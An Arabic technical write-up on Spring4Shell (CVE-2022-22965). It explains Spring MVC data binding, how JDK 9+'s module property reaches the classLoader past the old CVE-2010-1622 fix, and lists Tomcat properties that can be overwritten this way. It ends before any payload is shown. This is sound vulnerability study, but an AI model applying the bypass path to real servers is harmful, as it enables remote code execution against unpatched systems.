
تحليل تعليمي واستغلال إثبات المفهوم لثغرة CVE-2022-22965، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Spring MVC/WebFlux عبر ربط البيانات على JDK 9+ مع نشر Tomcat WAR.
في الآونة الأخيرة، كشفت Spring عن ثغرة CVE من العيار الثقيل. تُظهر معلومات CVE ما يلي: "قد يكون تطبيق Spring MVC أو Spring WebFlux الذي يعمل على JDK 9+ عرضةً لتنفيذ التعليمات البرمجية عن بُعد (RCE) عبر ربط البيانات. يتطلب الاستغلال المحدد تشغيل التطبيق على Tomcat كنشر WAR. إذا تم نشر التطبيق كملف jar تنفيذي من Spring Boot، أي الوضع الافتراضي، فلن يكون عرضةً لهذا الاستغلال. ومع ذلك، فإن طبيعة الثغرة أكثر عمومية، وقد توجد طرق أخرى لاستغلالها. (قد تكون تطبيقات Spring MVC أو Spring WebFlux التي تعمل على JDK 9+ عرضةً لهجوم تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر ربط البيانات. يتطلب الاستغلال المحدد نشر التطبيق كحزمة WAR على Tomcat. إذا تم نشر التطبيق كملف jar تنفيذي من Spring Boot، أي الوضع الافتراضي، فإنه ليس عرضةً للهجوم. لكن طبيعة الثغرة أكثر عمومية، وقد توجد طرق أخرى لاستغلالها.)". يُجري هذا التحليل تكرارًا لهذه الثغرة لتعلّم مبدأ الثغرة.
قبل الاطلاع على مبدأ ربط المعاملات في Spring MVC، دعونا نلقي نظرة أولًا على بعض واجهات برمجة التطبيقات المتعلقة بـ Java Bean.
قم بتعريف فئة java bean كما يلي:```java public class User { private String name;
public User() {
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return this.name;
}
public int getAge() {
return 18;
}
}
لنلقِ نظرة على المعلومات التي يحصل عليها Introspector.getBeanInfo باستخدام كود الاختبار التالي:```java
@Test
public void testIntrospector() throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
}
// for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
// System.out.println("Method: " + md.getName());
// }
}
المخرجات:```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String
إلى جانب age و"ذلك" المتوقعين، هناك أيضًا خاصية class، واسم الفئة هو Class. وإذا واصلت استدعاء Introspector.getBeanInfo(Class.class)، فيمكنك الحصول على مزيد من المعلومات مثل classLoader وما إلى ذلك:```text jdk11:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: nestHost
Property: nestMembers
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
بالإضافة إلى ذلك، دعنا نقارن الفرق في المعلومات التي تم الحصول عليها عبر Introspector.getBeanInfo(Class.class) في إصدارات JDK المختلفة؛ ما سبق هو الإخراج تحت jdk-11، وما يلي هو الإخراج تحت JDK8:```text jdk8:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: name
Property: package
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
`\r````text
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
بالمقارنة مع JDK8، أضاف JDK9 خاصيتين هما module وpackageName، بينما في JDK11 بالإضافة إلى خاصيتي module وpackageName توجد خاصيتان أخريان هما nestHost وnestMembers.
عملية ربط المعاملات في الأطر من نوع web، وبشكل مبسط، هي أن الإطار يقوم بتحويل المعاملات في صيغة نصية قادمة من طلبات http إلى النوع الذي يحتاجه الخادم فعليًا، وبأخذ spring MVC كمثال: تعرّف صنفَي Bean هما User وUserInfo:```java public class UserInfo { public User getUser() { return user; }
public void setUser(User user) {
this.user = user;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private User user;
private String password;
@Override
public String toString() {
return "UserInfo{" +
"user=" + user +
", password='" + password + '\'' +
'}';
}
}
استخدم الـcontroller التالي كاختبار:```java
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class DemoController {
public DemoController() {
}
@RequestMapping({"/test"})
public String test(User u) {
System.out.println("access!");
return "home";
}
@RequestMapping({"/get-user-info"})
public String getUserInfo(UserInfo userInfo) {
System.out.println("Name:" + userInfo.getUser().getName());
System.out.println("Age:" + userInfo.getUser().getAge());
System.out.println("password:" + userInfo.getPassword());
System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
return userInfo.toString();
}
}
عندما نصل إلى /get-user-info?password=password&user.name=enokiy، سيقوم الإطار تلقائيًا بإنشاء مثيل لفئة UserInfo، وربط القيم المقابلة بالخصائص المقابلة (عبر user.name يمكن الوصول بشكل متداخل إلى خاصية userInfo.user.name):

دعونا نلقي نظرة من خلال التصحيح على العملية الكاملة لربط البيانات في Spring MVC: بدءًا من طريقة doDispatch في org.springframework.web.servlet.DispatcherServlet، في طريقة doDispatch يتم أولاً الحصول على mappedHandler بناءً على الطلب، ثم الحصول على HandlerAdapter، ويتم معالجة الطلب بشكل محدد عبر استدعاء طريقة handle() الخاصة بـ HandlerAdapter ثم إرجاع ModelAndView:

حيث أن ha الذي تم الحصول عليه هنا في HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()) هو في الواقع من فئة org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter، وبعد تنفيذ طريقة handle() الخاصة بـ HandlerAdapter، يتم الدخول إلى طريقة invokeHandleMethod الخاصة بـ RequestMappingHandlerAdapter:

ثم في طريقة invokeHandleMethod، يتم إنشاء مثيل invocableMethod من ServletInvocableHandlerMethod بناءً على handlerMethod، مع تعيين dataBinderFactory وmodelFactory وargumentResolvers المناسبة، ثم يتم الانتقال إلى أساليب invokeAndHandle --> invokeForRequest --> getMethodArgumentValues الخاصة بـ invocableMethod حيث يتم التحليل عبر محللات الوسائط المختلفة:

محللات الوسائط هنا هي كما يلي:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
فكيف نعرف أي محلل معلمات يجب اختياره تحديدًا لتحليل معلمات الطلب الحالي؟ في springmvc يتم الحكم على ذلك بناءً على معلومات التعليقات التوضيحية الخاصة بالمعلمات (المنطق البرمجي موجود في طريقة `HandlerMethodArgumentResolverComposite#getArgumentResolver`)، فمثلًا عند استخدام التعليقين التوضيحيين `@RequestMapping` و`@modelAttribute` يتم استخدام `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor`، و`@RequestParam` يقابله RequestParamMethodArgumentResolver وهكذا.
التعليق التوضيحي المستخدم في الـ demo الحالي هو `@RequestMapping`، لذا سنتابع الاطلاع على عملية ربط المعلمات في فئة ServletModelAttributeMethodProcessor:```java
public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
String name = ModelFactory.getNameForParameter(parameter);
ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
if (ann != null) {
mavContainer.setBinding(name, ann.binding());
}
Object attribute = null;
BindingResult bindingResult = null;
if (mavContainer.containsAttribute(name)) {
attribute = mavContainer.getModel().get(name);
}
else {
// Create attribute instance
try {
attribute = createAttribute(name, parameter, binderFactory, webRequest);
}
catch (BindException ex) {
if (isBindExceptionRequired(parameter)) {
// No BindingResult parameter -> fail with BindException
throw ex;
}
// Otherwise, expose null/empty value and associated BindingResult
if (parameter.getParameterType() == Optional.class) {
attribute = Optional.empty();
}
bindingResult = ex.getBindingResult();
}
}
if (bindingResult == null) {
// Bean property binding and validation;
// skipped in case of binding failure on construction.
WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
if (binder.getTarget() != null) {
if (!mavContainer.isBindingDisabled(name)) {
bindRequestParameters(binder, webRequest);
}
validateIfApplicable(binder, parameter);
if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
throw new BindException(binder.getBindingResult());
}
}
// Value type adaptation, also covering java.util.Optional
if (!parameter.getParameterType().isInstance(attribute)) {
attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
}
bindingResult = binder.getBindingResult();
}
// Add resolved attribute and BindingResult at the end of the model
Map<String, Object> bindingResultModel = bindingResult.getModel();
mavContainer.removeAttributes(bindingResultModel);
mavContainer.addAllAttributes(bindingResultModel);
return attribute;
}
وفقًا لمعاملات الطلب، يتم الحصول على اسم المعامل في النموذج. أولاً، يتم التحقق مما إذا كان ModelAndViewContainer يحتوي على اسم المعامل هذا؛ إذا كان كذلك، يتم الحصول على الخاصية مباشرةً من ModelAndViewContainer، وإلا يتم الدخول إلى طريقة ServletModelAttributeMethodProcessor#createAttribute لإنشاء خاصية النموذج:
ServletModelAttributeMethodProcessor#createAttribute:
أولاً، يتم التحقق في الفئة الحالية مما إذا كان uri الطلب ومعاملاته تحتوي على اسم الخاصية (طريقة getRequestValueForAttribute)، وإذا كان كذلك يتم إرجاع القيمة، وإلا يتم الانتقال إلى طريقة super.createAttribute:

binderFactory.createBinder: إنشاء WebRequestDataBinder
bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:



حيث توجد في طريقة DataBinder#doBind بعض الفحوصات الخاصة بـ allowFields و requiredFields، وهي فارغة افتراضيًا في إصدار الاختبار الحالي:

داخل AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid) يتم استدعاء طريقة AbstractPropertyAccessor#setPropertyValue بشكل متكرر لربط قيم الخصائص لكل معامل طلب. أثناء عملية الربط، إذا تم اكتشاف أن اسم المعامل يحتوي على "."، فيجب أيضًا ربط الخاصية التي تلي "." بشكل متكرر عبر استدعاء getNestedPropertyAccessor:

تدخل عملية الحصول على قيم الخصائص بشكل متكرر إلى معالجة تدفق البيانات التالية:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults
أما في getLocalPropertyHandler، فسيتم استدعاء طريقة getCachedIntrospectionResults للبحث في cachedIntrospectionResults عما إذا كانت الخاصية الحالية موجودة. وبالإضافة إلى خصائص الطلب الحالي، يحتوي cachedIntrospectionResults هذا أيضًا على خاصية class مدمجة:

في آلية الاستبطان (Introspection) المذكورة سابقًا، ذُكر أنه عند الحصول على BeanInfo، إذا كانت فئة BeanInfo الخاصة بـ Java Bean قد خضعت للاستبطان من قبل، فسيتم استرجاع فئة BeanInfo من ذاكرة التخزين المؤقت لـ BeanInfo. لذا فإن دور cachedIntrospectionResults هنا يجب أن يكون لتحقيق هذه الميزة:

إلى هنا، لِنلخّص عملية ربط المعاملات في SpringMVC:
1. عند تهيئة SpringMVC، تقوم فئة RequestMappingHandlerAdapter بإضافة بعض أدوات تحليل المعاملات الافتراضية إلى argumentResolvers. وعندما يستقبل SpringMVC طلبًا، يدخل إلى doDispatch الخاص بـ DispatcherServlet. في طريقة doDispatch، يتم أولاً الحصول على mappedHandler بناءً على الطلب، ثم يتم الحصول على HandlerAdapter، ويتم التعامل مع الطلب بشكل محدد من خلال استدعاء طريقة handle() الخاصة بـ HandlerAdapter ثم إرجاع ModelAndView، وبعدها يقوم ViewResolver بتحليلها وإرجاع View، وأخيرًا تقوم وحدة التحكم الأمامية (Front Controller) بتقديم العرض (Render).

2. أثناء المعالجة المحددة للطلب في طريقة handle() الخاصة بـ HandlerAdapter، يتم إنشاء مثيل invocableMethod من ServletInvocableHandlerMethod بناءً على handlerMethod، مع تعيين dataBinderFactory وmodelFactory وargumentResolvers المناسبة، ثم الدخول إلى طرق invocableMethod: invokeAndHandle --> invokeForRequest --> getMethodArgumentValues، حيث يتم التحليل عبر أدوات تحليل معاملات مختلفة، ويتم تحديد محلل المعاملات بناءً على معلومات التعليقات التوضيحية (Annotation) الخاصة بالمعامل.
3. يقوم محلل المعاملات بتحليل المعاملات، فيقوم أولاً بإنشاء مثيل (خاصية) يقابل اسم معامل handlerMethod لمعامل الطلب، ثم يمر عبر DataBinder ليدخل في النهاية إلى BeanWrapperImpl لتعيين الخصائص ذات الصلة بـ Bean. ينفّذ BeanWrapperImpl تحديدًا طرق إنشاء Bean والاحتفاظ بها وتعديلها. ويمكن لطريقة setPropertyValue فيه حقن قيمة المعامل في الخصائص ذات الصلة بـ Bean المحدد (بما في ذلك list وmap وغيرها)، كما يمكنها أيضًا تعيين قيم الخصائص بشكل متداخل:

سواء كان ربط البيانات في Spring MVC (ربط المعاملات المختلفة بمعاملات طرق معالجة الطلبات المُعلَّمة بـ @RequestMapping)، أو BeanFactory (الذي يعالج تعليق @Autowired)، فكلاهما يستخدم واجهة BeanWrapper.
### الكتابة فوق المتغيرات
نظرًا لأن طريقة setPropertyValue المذكورة أعلاه تبحث في cachedIntrospectionResults عند تعيين الخصائص بشكل متداخل، وبما أن cachedIntrospectionResults يحتوي على خاصية class إضافية بالإضافة إلى معاملات الطلب، فمن الممكن في الطلب الوصول إلى خصائص classLoader عبر أسلوب class.classLoader.xx. هذه هي ثغرة CVE-2010-1622 في الإصدارات المبكرة من Spring؛ أما CVE-2022-22965 الحالية فهي تجاوز لآلية الحماية الخاصة بهذه الثغرة:
بنية cachedIntrospectionResults هي كما يلي:

1. يتم استخراج معلومات خصائص BeanClass عبر Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)، ولأن طريقة Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO) لا تحدد stopClass، فعند عدم العثور على الخاصية في الفئة الحالية، يتم البحث في الفئة الأصلية (الأم).
2. يتم تعطيل خاصيتي ClassLoader وprotectionDomain لفئة Class؛ وهنا تكمن طريقة الدفاع ضد CVE-2010-1622؛
في بداية المقال، قارنّا قيم الخصائص التي يتم الحصول عليها عبر Introspector.getBeanInfo(xxx) في إصدارات JDK المختلفة، وتبيّن أنها مختلفة. في إصدار JDK 9 فما فوق، تظهر خاصيتان إضافيتان هما module وpackageName، وتحت خاصية module توجد خاصية classLoader، لذا يمكن استخدام خاصية module للوصول إلى classLoader، وبهذا يتم تجاوز دفاع CVE-2010-1622 لإجراء الكتابة فوق المتغيرات:


### استغلال الثغرة
بعد فهم أن السبب الجوهري لهذه الثغرة هو الكتابة فوق المتغيرات، دعونا ننظر في المشكلات المتعلقة بعملية الاستغلال:
1. ما هي المتغيرات التي يمكن الكتابة فوقها؟
2. ما التأثير الذي ستحدثه المتغيرات التي تمت الكتابة فوقها؟
نعرف الآن أنه يمكن إجراء عملية الكتابة فوق المتغيرات عبر class.module.classLoader، ولكن ما هي المتغيرات المحددة التي يمكن الكتابة فوقها؟ في سيناريوهات نشر Spring MVC المختلفة، يختلف classLoader، وبالتالي فإن طريقة الاستغلال ليست قابلة للتعميم.
| شكل النشر | classLoader |
| ---- | ---- |
| SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
| tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
| jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
في حالة النشر عبر war على tomcat (بيئة الاختبار الحالية: "apache-tomcat-8.5.8" + "jdk-11.0.1")، الخصائص القابلة للقراءة والكتابة والتي يمكن الوصول إليها تحت class.module هي كما يلي (غير مكتملة، لم يتم جمع الخصائص من نوع List/Map/Set):
<details>
<summary>
انقر لعرض الخصائص القابلة للقراءة والكتابة التي يمكن الوصول إليها تحت class.module
</summary>```text
class.module
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.clearReferencesLogFactoryRelease
class.module.classLoader.clearReferencesRmiTargets
class.module.classLoader.clearReferencesStopThreads
class.module.classLoader.clearReferencesStopTimerThreads
class.module.classLoader.delegate
class.module.classLoader.resources
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources
class.module.classLoader.resources.allowLinking
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.cachingAllowed
class.module.classLoader.resources.context
class.module.classLoader.resources.domain
class.module.classLoader.resources.trackLockedFiles
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.context
class.module.classLoader.resources.context.addWebinfClassesResources
class.module.classLoader.resources.context.allowCasualMultipartParsing
class.module.classLoader.resources.context.altDDName
class.module.classLoader.resources.context.antiResourceLocking
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.charsetMapperClass
class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources.context.clearReferencesRmiTargets
class.module.classLoader.resources.context.clearReferencesStopThreads
class.module.classLoader.resources.context.clearReferencesStopTimerThreads
class.module.classLoader.resources.context.cluster
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.configured
class.module.classLoader.resources.context.containerSciFilter
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.cookies
class.module.classLoader.resources.context.copyXML
class.module.classLoader.resources.context.crossContext
class.module.classLoader.resources.context.defaultContextXml
class.module.classLoader.resources.context.defaultWebXml
class.module.classLoader.resources.context.delegate
class.module.classLoader.resources.context.denyUncoveredHttpMethods
class.module.classLoader.resources.context.dispatchersUseEncodedPaths
class.module.classLoader.resources.context.displayName
class.module.classLoader.resources.context.distributable
class.module.classLoader.resources.context.docBase
class.module.classLoader.resources.context.domain
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.effectiveMinorVersion
class.module.classLoader.resources.context.failCtxIfServletStartFails
class.module.classLoader.resources.context.fireRequestListenersOnFoards
class.module.classLoader.resources.context.ignoreAnnotations
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.j2EEApplication
class.module.classLoader.resources.context.j2EEServer
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.javaVMs
class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
class.module.classLoader.resources.context.jspConfigDescriptor
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.logEffectiveWebXml
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.module.classLoader.resources.context.name
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.originalDocBase
class.module.classLoader.resources.context.override
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parentClassLoader
class.module.classLoader.resources.context.path
class.module.classLoader.resources.context.preemptiveAuthentication
class.module.classLoader.resources.context.privileged
class.module.classLoader.resources.context.publicId
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.reloadable
class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
class.module.classLoader.resources.context.resourceOnlyServlets
class.module.classLoader.resources.context.resources
class.module.classLoader.resources.context.sendRedirectBody
class.module.classLoader.resources.context.server
class.module.classLoader.resources.context.sessionCookieDomain
class.module.classLoader.resources.context.sessionCookieName
class.module.classLoader.resources.context.sessionCookiePath
class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startChildren
class.module.classLoader.resources.context.startStopThreads
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.swallowAbortedUploads
class.module.classLoader.resources.context.swallowOutput
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.tldScanTime
class.module.classLoader.resources.context.tldValidation
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.unpackWAR
class.module.classLoader.resources.context.useHttpOnly
class.module.classLoader.resources.context.useNaming
class.module.classLoader.resources.context.useRelativeRedirects
class.module.classLoader.resources.context.validateClientProvidedNewSessionId
class.module.classLoader.resources.context.webappVersion
class.module.classLoader.resources.context.workDir
class.module.classLoader.resources.context.wrapperClass
class.module.classLoader.resources.context.xmlBlockExternal
class.module.classLoader.resources.context.xmlNamespaceAware
class.module.classLoader.resources.context.xmlValidation
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.authenticator.alwaysUseSession
class.module.classLoader.resources.context.authenticator.asyncSupported
class.module.classLoader.resources.context.authenticator.cache
class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
class.module.classLoader.resources.context.authenticator.container
class.module.classLoader.resources.context.authenticator.disableProxyCaching
class.module.classLoader.resources.context.authenticator.domain
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.securePagesWithPragma
class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
class.module.classLoader.resources.context.authenticator.secureRandomClass
class.module.classLoader.resources.context.authenticator.secureRandomProvider
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.scanAllDirectories
class.module.classLoader.resources.context.jarScanner.scanAllFiles
class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
class.module.classLoader.resources.context.jarScanner.scanClassPath
class.module.classLoader.resources.context.jarScanner.scanManifest
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.loader.context
class.module.classLoader.resources.context.loader.delegate
class.module.classLoader.resources.context.loader.domain
class.module.classLoader.resources.context.loader.loaderClass
class.module.classLoader.resources.context.loader.reloadable
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.loginConfig.authMethod
class.module.classLoader.resources.context.loginConfig.errorPage
class.module.classLoader.resources.context.loginConfig.loginPage
class.module.classLoader.resources.context.loginConfig.realmName
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.manager.context
class.module.classLoader.resources.context.manager.domain
class.module.classLoader.resources.context.manager.duplicates
class.module.classLoader.resources.context.manager.expiredSessions
class.module.classLoader.resources.context.manager.maxActive
class.module.classLoader.resources.context.manager.maxActiveSessions
class.module.classLoader.resources.context.manager.pathname
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.processingTime
class.module.classLoader.resources.context.manager.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.secureRandomClass
class.module.classLoader.resources.context.manager.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
class.module.classLoader.resources.context.manager.sessionCounter
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionMaxAliveTime
class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
class.module.classLoader.resources.context.namingContextListener.name
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.namingResources.container
class.module.classLoader.resources.context.namingResources.domain
class.module.classLoader.resources.context.namingResources.transaction
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.backgroundProcessorDelay
class.module.classLoader.resources.context.parent.cluster
class.module.classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.createDirs
class.module.classLoader.resources.context.parent.deployIgnore
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
class.module.classLoader.resources.context.parent.name
class.module.classLoader.resources.context.parent.parent
class.module.classLoader.resources.context.parent.parentClassLoader
class.module.classLoader.resources.context.parent.realm
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.pipeline.basic
class.module.classLoader.resources.context.pipeline.container
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.realm.allRolesMode
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.container
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.domain
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.realmPath
class.module.classLoader.resources.context.realm.stripRealmForGss
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.realm.validate
class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.next.asyncSupported
class.module.classLoader.resources.context.authenticator.next.container
class.module.classLoader.resources.context.authenticator.next.domain
class.module.classLoader.resources.context.authenticator.next.next
class.module.classLoader.resources.context.jarScanner.jarScanFilter
